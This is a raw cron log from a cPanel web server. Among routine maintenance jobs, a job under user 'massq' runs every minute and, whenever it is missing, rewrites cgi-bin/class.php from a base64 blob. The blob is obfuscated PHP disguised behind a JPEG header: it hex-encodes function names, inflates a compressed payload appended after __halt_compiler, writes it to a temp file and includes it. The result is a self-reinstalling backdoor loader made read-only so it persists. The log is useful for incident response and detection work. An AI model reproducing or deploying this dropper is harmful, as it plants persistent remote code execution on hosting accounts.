Aug 30 08:53:01 server CROND[17706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:53:01 server CROND[17707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:53:01 server CROND[17708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:54:01 server CROND[18098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:54:01 server CROND[18099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:54:01 server CROND[18101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:55:01 server CROND[18547]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 08:55:01 server CROND[18549]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:55:01 server CROND[18552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 08:55:01 server CROND[18555]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 08:55:01 server CROND[18554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:55:01 server CROND[18551]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 08:55:01 server CROND[18556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:56:01 server CROND[19480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:56:01 server CROND[19482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:56:01 server CROND[19481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:57:01 server CROND[19865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:57:01 server CROND[19864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:57:01 server CROND[19866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:57:01 server CROND[19867]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 08:58:01 server CROND[20253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:58:01 server CROND[20255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 08:58:01 server CROND[20254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:59:01 server CROND[20641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 08:59:01 server CROND[20642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 08:59:01 server CROND[20643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:00:01 server CROND[21119]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Aug 30 09:00:01 server CROND[21121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:00:01 server CROND[21124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 09:00:01 server CROND[21127]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 09:00:01 server CROND[21123]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 09:00:01 server CROND[21129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:00:01 server CROND[21125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 09:00:01 server CROND[21131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:00:01 server CROND[21128]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 09:00:01 server CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 09:01:01 server CROND[22271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:01:01 server CROND[22272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:01:01 server CROND[22273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:01:01 server CROND[22274]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 09:01:01 server run-parts(/etc/cron.hourly)[22274]: starting 0anacron
Aug 30 09:01:01 server run-parts(/etc/cron.hourly)[22302]: finished 0anacron
Aug 30 09:02:01 server CROND[22706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:02:01 server CROND[22707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:02:01 server CROND[22705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:03:01 server CROND[23278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 09:03:01 server CROND[23279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:03:01 server CROND[23280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:04:01 server CROND[23672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 09:04:01 server CROND[23674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 09:04:01 server CROND[23675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
